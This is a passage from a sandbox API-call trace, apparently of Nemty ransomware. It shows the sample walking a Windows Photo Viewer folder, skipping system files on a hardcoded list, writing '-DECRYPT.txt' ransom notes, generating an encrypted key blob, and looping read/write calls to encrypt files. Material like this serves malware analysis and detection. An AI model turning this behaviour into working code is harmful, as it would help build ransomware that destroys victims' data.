hHeap=0x4f90000) returned 1 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beginnerhitachi.exe", lpUsedDefaultChar=0x0) returned 19 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.433] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0108.433] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0108.433] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0108.433] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0108.433] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0108.434] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0108.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0108.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0108.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0108.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0108.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0108.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0108.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0108.434] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows photo viewer\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0108.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0108.435] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.435] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0108.436] CloseHandle (hObject=0x3c4) returned 1 [0108.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0108.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0108.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0108.436] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows photo viewer\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0108.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0108.437] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.437] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0108.438] CloseHandle (hObject=0x3c4) returned 1 [0108.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0108.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4473a50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4473a50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0108.438] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.438] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4473a50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4473a50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0108.438] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.438] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.438] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0108.438] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="...") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="windows") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="rsa") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="NTDETECT.COM") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ntldr") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="MSDOS.SYS") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="IO.SYS") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="boot.ini") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="boot.ini") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ntuser.dat") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="desktop.ini") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="CONFIG.SYS") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="RECYCLER") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="bootmgr") returned 1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="programdata") returned -1 [0108.439] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="appdata") returned 1 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe.mui", lpUsedDefaultChar=0x0) returned 22 [0108.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe.mui", lpUsedDefaultChar=0x0) returned 22 [0108.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe.mui", lpUsedDefaultChar=0x0) returned 22 [0108.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe.mui", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe.mui", lpUsedDefaultChar=0x0) returned 22 [0108.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0108.440] Sleep (dwMilliseconds=0x5) [0108.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4499bb0, dwHighDateTime=0x1d561e7)) [0108.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4499bb0, dwHighDateTime=0x1d561e7)) [0108.449] GetLastError () returned 0xb7 [0108.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.449] GetLastError () returned 0xb7 [0108.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.449] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0108.449] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ef9c | out: pszString="9xCIaStA/BO+xxApcorhAaPIFPQWU6G0V7pN5+d34kaLNAeDJb+9vLfHFUIzRDFm\r\nXwgnfgzxKpnogCXxiOIxktCaBDMNQQp19vdLTg//nIdY3IiUsrZLo78aqfUJIUVz\r\nTb+DPbetNFbnptsogb7byvdY2fYH6ueCeLA//vyUDEqPpk+nFnr3sAS45smbgFa2\r\n2JhTdCuzpNY6vYI/b+5w8a+BA8RNhMGYLDsySsrISg1WhxIkNh3slJjTJuE3TVjD\r\neGaf/loEgyn7g4qWwNHEMDGqS/yOgBGDqUUmg9FBhuF3TXHCrcrll/kyvodNuhu4\r\nxhyRTWD6+zMFa9ETCLdPIg==\r\n", pcchString=0x653ef9c) returned 1 [0108.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0108.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0108.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.450] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.450] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 